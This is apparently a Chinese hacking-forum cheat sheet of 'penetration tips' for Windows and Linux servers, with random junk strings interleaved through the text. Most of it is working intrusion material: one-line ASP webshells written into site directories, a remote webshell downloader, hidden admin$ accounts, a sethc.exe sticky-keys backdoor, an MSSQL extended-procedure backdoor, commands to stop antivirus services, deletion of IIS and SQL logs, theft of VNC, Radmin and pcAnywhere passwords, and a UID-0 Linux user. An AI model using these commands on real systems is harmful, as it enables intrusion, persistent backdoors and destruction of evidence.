渗透技巧总结

admin

旁站路径问题
3 l3 R3 b# d: x2 ?% x1、读网站配置。
9 g  j# M. V8 q6 D4 o2、用以下VBS
* |* p& t  c2 D  `1 AOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
  C9 L" z, h( L+ v        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
2 r; f0 R6 @7 P' p% m
Usage:Cscript vWeb.vbs",4096,"Lilo"
/ O2 g+ k. ^/ z( C* R5 S3 {        WScript.Quit
End If
: J4 T8 C5 F  t3 I4 V% Z( N5 gSet ObjService=GetObject
& O9 m' [- ]0 q+ y
. Q- x8 D1 J" B/ C8 H0 j8 u6 ]("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
+ U  _( A$ ]$ U; T         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
' T/ e7 u% o' R! }# g
1 R" o" E  h1 c3 X<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
" \) n- Z  |+ N. `" d
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
: F( J. Y  S7 Y. L
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
; d' P3 F! n" o/ P2 r1 N
1 M3 Q) D/ U' ^4 \2 PWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
8 c2 i( I) ^% R                Next
: L) A+ u: {( n: f1 Y1 h      
' @+ o/ @/ {6 c) j
         WScript.Echo "ath            : " & VDirObj.Path
8 l, n( N4 ~% E2 p5 W4 n        End If
Next
. b/ \9 ?1 \2 n  e) n复制代码
$ w" `; N5 J9 W4 `3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
, ~' @. x9 T/ wurl/wp-content/plugins/akismet/hello.php
3 G2 B6 j5 |* l——————————————————————
. q" Q- L4 D7 ]2 @phpMyAdmin暴路径办法:
0 a3 k2 F2 i8 }  \, K" kphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
: Z+ w3 c/ c8 k4 z4 f! B5 tphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
% I5 C4 B8 k& D2 \! s4 p————————————————————
网站可能目录(注：一般是虚拟主机类）
# b4 t; u8 _/ s; `; a! o$ Edata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
1 c. A! q& k  g9 v! s( {netsh ras show user #查看哪些用户可以拨入VPN
* Y' M2 `* J. P5 M  o1 `' k* d9 xnetsh ras ip show config #查看VPN分配IP的方式
  t0 B& B2 Y7 o3 D% snetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
9 I) }& M. ~& L* I- r; ~netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
) \3 h. ^% w: G2 i————————————————————
命令行下添加SQL用户的方法
, P8 `% [+ P$ g5 G& ]1 R需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
3 c( _6 ], _7 l9 \2 q4 [EXEC sp_addsrvrolemember 'test, 'sysadmin'
. P  n% I  y0 w1 ~; x9 `: w, L, \然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
: q9 H5 e4 e4 R" A% u+ e
* e7 F. Q! \. `2 y& }另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
6 w; x$ T4 ]+ d. Fjs:
var o=new ActiveXObject( "Shell.Users" );
; H4 \: n; `3 n+ u4 Fz=o.create("test") ;
# F9 p$ N0 J! Wz.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
$ h8 o# A: g2 x0 r+ C0 K; H* \Set   o=CreateObject( "Shell.Users" )
3 k7 H/ z3 E+ A+ R7 m' W, LSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
. T6 A4 E3 A, ]+ q: t  F——————————————————
# _! [( b3 `, vcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

: D0 \- {: ]8 Y7 D5 e5 h- _命令如下
# Z6 T; I9 d- scacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
) j" n. K: M0 |* E# i& C————————以下配合PR更好————
) n7 W( n* p& C3 d5 J3389相关
2 i* I8 W( U* G' k3 P, ua、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
- [" j" h. x4 f/ v0 F5 Pb、内网环境（LCX）
2 F& x* J0 ~) ?( ~c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
& }/ r4 v& W* d+ }$ a3 ~# Rnet stop "Symantec AntiVirus" /y
  J* E, C% m/ u6 r1 v0 Ynet stop "Symantec AntiVirus Definition Watcher" /y
# k/ A  e1 A" Dnet stop "Symantec Event Manager" /y
& C; a4 J7 r# v3 h1 bnet stop "System Event Notification" /y
& x) C2 _6 c8 ~# A' D2 @4 O- ?% O( ^net stop "Symantec Settings Manager" /y
) z: x7 _6 t  o5 D  Y8 T+ e
卖咖啡：net stop "McAfee McShield"
————————————————————
7 v2 }* o  r2 g. E
* K0 D8 c, ~' B6 l+ o6 C& B) p  R* u5次SHIFT：
# d( M3 ]$ D- I# ^7 m3 C3 kcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
! T+ G, \, [. ~' Q$ r——————————————————————
MSSQL扩展后门：
& b2 o7 V& _" JUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
$ B* {' y( d' u- I& v( n+ d8 @  O———————————————————————
: n7 x! w8 s  ]( h' H日志处理
7 |4 D+ i+ E. F6 f  e3 V4 {: o7 f/ JC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
7 e; p7 A) B, r. D: ]' E  `' `
MSSQL查询分析器连接记录清除：
4 p! O' s) V7 j  gMSSQL 2000位于注册表如下：
7 Q# z9 E* g+ U0 P+ NHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
9 y6 |5 V# P0 ^/ N( \1 v找到接接过的信息删除。
/ v1 x5 C6 d1 \; mMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
# z' S; p4 Q$ g4 S0 R8 A$ A  d
Server\90\Tools\Shell\mru.dat
: E5 S/ ~9 k* M- g- ?—————————————————————————
. ?" z( P0 N  F# ]防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
" e  A- }5 b/ b- D3 [. Z
0 {/ S# G: K0 f9 l2 U<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
8 }) m. e! J3 Z% q' gOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
8 @$ u7 J: ?+ q) f2 kWith Retrieval
) K" l! a/ [* |9 u.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
6 _. s( \- S1 a+ t# sGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
0 |5 N+ R# G/ p9 N/ I+ h# V1 @Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
5 h' o$ M* o& `" v.Type = 1
6 b# Q( g1 Y5 s+ ^# a/ {0 I: ].Open
. O* p: Z) ]0 g6 P.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
& R: ~& a8 \; @- A5 }.Cancel()
  Z* f* [* j% X' M0 H6 ?5 F" O7 t.Close()
End With
Set Ads=nothing
! o% _7 j8 [, m& n: h0 w$ gEnd Sub
$ M, z4 \" N2 [9 G4 U; M6 B
+ T& T3 W2 x+ ^  z, IeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
, |$ z: ~( K# y" L
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
* t0 c2 M# ]' K! ?% F$ H# z+ Z7 f注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
, u# F. [9 w4 i1 `# ~; O6 Hregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
7 [" b2 x( m9 O7 l) b1 }regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
2 j  @* g% A' @$ m) _  }/ y# hRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
2 r& Y: U3 r. L9 g- z0 M2 C* oHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
6 C% j8 @8 V) A* P; a* H如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
+ Z- Q0 v4 X$ o, N保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
( O% T+ |& w% j——————————————————————
9 D+ `. m  @: p/ x9 P. c% Q搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
. v; A( `1 T- w! J- C+ ^; K4 L9 P来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
, \1 d1 \" {# B没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
$ Y6 K# M3 d% M8 ~2 N
; z5 |8 F0 Y+ Z+ {* Z1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
" @: f7 [; _+ v% o& G. GstrSQLDBUserName = "数据库帐号"
7 y/ H! o( _+ b+ \3 h$ f9 WstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
2 A; s% h( t2 g4 _( H+ A# @# V1 TSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
$ r9 m# c7 n1 l! p3 l
+ B, ]6 Q$ G# j- N";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
) E2 t$ @8 X, v" T& U0 l
  i1 N' a  Z  Q& n; vstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
5 `% v2 l8 n% {: Eset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
! F1 q' E9 _8 u2 S6 N%>
复制代码
; m4 e2 S. {1 R/ z* y******liunx 相关******
  G6 t& \# q2 L一.ldap渗透技巧
; G4 V' m' |4 h1 e6 W1.cat /etc/nsswitch
4 F; k: \! w; f1 q$ b看看密码登录策略我们可以看到使用了file ldap模式

$ A$ N! K5 _, x6 D2 |2.less /etc/ldap.conf
/ p; z; G4 E) q9 t1 n0 h. ebase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
% [4 S( V8 n* y' m
3.查找管理员信息
2 x) k1 M& l# c+ \* c9 W匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

! I  A6 {6 Z3 C2 u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
6 }1 t. [6 n( \6 \. jldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
2 D% s* u7 p8 m+ o. I+ P

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
' q6 n; y! M. I! d- h; [" ]1.cat /etc/nsswitch
! S3 p  E3 G) q6 s. s看看密码登录策略我们可以看到使用了file ldap模式
3 ]  L. V; X, p, y
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
$ t! p3 m+ H! d+ U, u找到ou,dc,dc设置
! f7 r7 a7 |1 W: R. \$ v) v
: `' `9 N. E$ @/ m/ x7 L3.查找管理员信息
匿名方式
8 {1 M& H8 O- qldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 D0 x# [* ?* Y  `4 u9 U/ Q
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
! d. p' y$ H& A+ v0 p. W2 Z
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

( e* z# @. A2 F( l$ D4 |! @
% I& p5 k6 ?; Y7 T  t4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
; |. P( K& I* ^  Z8 Z1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
$ w: h$ b( U% l2 Z' a3 `1 l. Tversion: 1
" g; Z1 G4 G! F; gdn: dc=ruc,dc=edu,dc=cn
dc: ruc
+ r* `6 c$ C+ y2 n4 YobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
2 v  d" Q/ J6 T7 Q, S3 i. wuid: manager
& b$ a; v; w: A3 n( r' c& hobjectClass: inetOrgPerson
" I4 U( U& k* W( IobjectClass: organizationalPerson
objectClass: person
objectClass: top
* F) j4 w/ D- H8 K; Y6 b* c5 w3 I' }sn: manager
cn: manager
+ J* ~# C) e6 t
( D1 R/ O; S" m% k$ g( _dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
7 M% C' s# r: A  m  KobjectClass: inetOrgPerson
. S  s  J- z, b8 Y% u* f  hobjectClass: organizationalPerson
objectClass: person
objectClass: top
6 c- \2 q$ H! m3 o1 |7 J  nsn: superadmin
+ a: v3 P  T) z" j+ X) _cn: superadmin

9 |& W0 d+ u& c; m8 s6 Gdn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
( o- r: n  V3 `" i; EobjectClass: inetOrgPerson
7 A3 m; S, g+ M  z2 }objectClass: organizationalPerson
objectClass: person
" J* y% f6 `3 z' y' ]/ XobjectClass: top
. C; Y# R3 J+ g, Esn: admin
  I4 ^& w: g% A; Z7 F7 U6 n- T+ icn: admin

- P- n/ [3 b8 [- V' N4 {' m( |dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
" U; ~% N9 B( o  ~objectClass: organizationalPerson
8 D# Q/ F; M9 X' V3 J& x- WobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
: s) P0 |2 v2 x# n- G
/ W: U( f% u- `/ P' n" g2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

. N1 w9 M, d( {8 r  Wmore
+ v6 J  i% {. n; Wversion: 1
, f4 ?* m, R* P0 N: G1 u% ]dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

/ T/ e2 I; P& V3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
' ^& N( T, p' p/ S1 \. E& I9 ]dn:
2 A, X- \4 a8 u2 t' b0 e2 iobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
0 g* L' t2 h, W3 I! L& AsupportedExtension: 2.16.840.1.113730.3.5.7
1 F/ i! I1 |# D$ P" ?6 tsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
. z7 e7 A) Z7 H; R: U% \0 S6 wsupportedExtension: 2.16.840.1.113730.3.5.4
2 v4 m7 ?  Y' m$ \9 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
8 W3 y# z0 z  j+ z7 M9 isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
! \7 e! I( f" M. M- }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
6 c3 N/ ~; a! O* usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
1 X" ]- [6 q# c7 e2 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
1 h4 i" B% v/ U: n8 asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
/ B; N3 Z6 x: {' V2 OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
0 C9 \8 ?% w- y1 \0 Q% o% HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
/ H7 V2 F. v; E8 h" c) S# s9 {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
8 e% Y3 k6 D1 s" U: V1 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
2 u/ d- c2 A+ o& N7 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
- z  G5 g1 ?+ `. }$ o' LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
3 D3 [. u$ r! ZsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
+ ~7 y9 O* t# m. }supportedControl: 2.16.840.1.113730.3.4.4
) D; s- J) T5 G. EsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
: R: G* E& X9 G$ E: `9 q0 ~( EsupportedControl: 2.16.840.1.113730.3.4.9
7 T5 k' |6 {- ?8 k- EsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
9 q3 S. ~- l- HsupportedControl: 2.16.840.1.113730.3.4.17
. r% i( l0 R' P2 s% b! AsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
: F: u- a# m2 e  KsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
- ?) }- W, q# t+ J& ]( ?supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
: G4 Y" a* Q! BsupportedControl: 2.16.840.1.113730.3.4.14
8 X9 H3 H  l! D; M8 v/ A- d3 PsupportedControl: 1.3.6.1.4.1.1466.29539.12
4 g4 z4 h' @/ G6 R7 usupportedControl: 2.16.840.1.113730.3.4.12
- p. ^2 _* v2 ?8 P3 osupportedControl: 2.16.840.1.113730.3.4.18
$ y1 h+ d1 X/ YsupportedControl: 2.16.840.1.113730.3.4.13
1 ]+ Q! Z0 P5 Q# h$ c1 t6 h. ~supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
, g6 W! k. l8 u: tsupportedLDAPVersion: 2
. z, s! t7 A3 p1 i/ Z0 p8 X% Y& GsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
& ^: }' [5 y+ I0 T. ?4 Lnetscapemdsuffix: cn=ldap://dc=webA:389
) z$ V4 P; N3 @, }% j* }supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
1 X) O/ e. \7 j& c2 W5 }supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
5 w! U7 {$ `7 L9 rsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
* f2 C, R5 q7 m- k# i4 i* s+ T  hsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
3 f1 N, \" F4 ^% y( c/ HsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
! w( K( {" g& p* u3 ]* m& y% ~% EsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
# Z- {1 e  C4 ^3 H& a3 YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
! O2 r# L/ y& d# W# U1 @; m% \supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
2 g& l4 Y1 [, S( nsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
$ M& P- X8 w; @9 G6 R* jsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
5 M- `& R* [7 K7 s% asupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
- ~! V8 h2 u) csupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
- k: N3 V0 t! A( l: YsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
8 g# t: X$ l, R% Z5 w1 D8 \supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
. Z  i$ u2 y7 X) [5 h' rsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
4 z- g1 H3 D; o9 ?4 usupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
1 M" c3 p* Q$ z+ [; Y! F/ J! ^1 v  tsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
* o5 a! B7 R7 hsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
; x( x- T( o; R: l. r/ S+ AsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
  z) i6 o& l, k  M3 P6 V  P0 H! GsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
" |1 E  `6 e+ w9 G, F" Q; bsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
- l  T5 c- I( k2 ~6 K& GsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
# [& t' F6 h  }; s3 p: ?4 ^4 RsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
# Z/ X. f2 T, s, V. F1 p; W9 V( I2 ]supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
, G5 |  e/ l, j5 G, P8 q5 g( nsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
5 ^0 I' E. _( b  N  x( wsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
+ B2 W+ b6 z3 g& J2. NFS渗透技巧
showmount -e ip
8 {$ y: C/ v8 E3 I% h列举IP
$ P. }8 Z4 ?2 M6 h( K——————
( ]. B! U/ v: ~3 s( u5 v3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
" f8 x' e  b& B( E  w/ X  Bimg_finance
auto
: }& V* R/ l" q2 K  aimg_auto
, U$ w/ \' Y! I8 Q& x6 ^html_cms
img_cms
, S/ b8 G5 ]7 n# ~- N6 i1 tent_cms
ent_img
ceshi
6 k/ z3 C9 P/ F! wres_img
8 k! X. `  P$ V4 Z& xres_img_c2
chip
chip_c2
ent_icms
games
3 T  V" F! a! H$ H( qgamesimg
% t4 \5 G( \* {! Y5 U- y1 Cmedia
8 ^2 ?3 U+ Z% \1 Jmediaimg
fashion
) U. J4 [0 J, i: G  p8 X1 q* l% Xres-fashion
, |6 D6 H$ A: |6 v' {2 p5 nres-fo
0 H$ m+ t, p* |* Ctaobao-home
* H- r' |$ N, ^4 v& F* k+ E+ a$ {res-taobao-home
house
/ a8 N% G$ X6 o3 Q- r5 qres-house
# I: s6 J5 y  Ores-home
res-edu
res-ent
res-labs
res-news
res-phtv
res-media
: r! {  t) h# F0 f/ Y0 B& Lhome
6 \. z% X7 Z# ^7 m; |6 Zedu
news
res-book
, J4 a$ w$ f; @2 j+ I
# a( |; N" J' L9 U& _看相应的下级目录(注意一定要在目录后面添加上/)

, s/ @3 S8 K1 T' z) N3 h
$ I% T/ G" @$ x$ t' qrsync 210.51.X.X::htdocs_app/
) z0 C/ w" ~. \0 C/ ?( drsync 210.51.X.X::auto/
. V/ J1 u5 P! Ursync 210.51.X.X::edu/

- u+ z: ^3 ]. j2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

0 q/ r( l$ N2 ?6 _9 c3.向上更新rsync文件(成功上传,不会覆盖)
* v" W/ n# Y1 L! k0 [7 Q+ ~rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
! F% j. F$ A1 i$ {9 e; Ehttp://app.finance.xxx.com/warn/nothack.txt
( R$ B8 w1 J8 M1 L& ~
四.squid渗透技巧
! j6 }" i# i7 r- Qnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
: y) {" D$ Z8 W/ XGET HTTP://WWW.sina.com:22 / HTTP/1.0
# L9 b9 `3 p+ H3 f) n五.SSH端口转发
& w% P4 x8 g' x9 b, P3 Y8 f$ kssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
/ z4 f! u3 G  r/ @  h: eindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

9 C6 l- o" d; Y) i, q% R15&catid=32:languages&Itemid=47

7 B, c7 y+ J) l5 x重新设置密码
8 k5 X1 y% m( @5 ^# jindex.php?option=com_user&view=reset&layout=confirm
% Q* h% B# K* o2 Y
七: Linux添加UID为0的root用户
8 v4 [5 K5 j9 x9 W& B- tuseradd -o -u 0 nothack
0 s  H: a. e! f9 T
0 O, w; y$ f3 u0 q. k八.freebsd本地提权
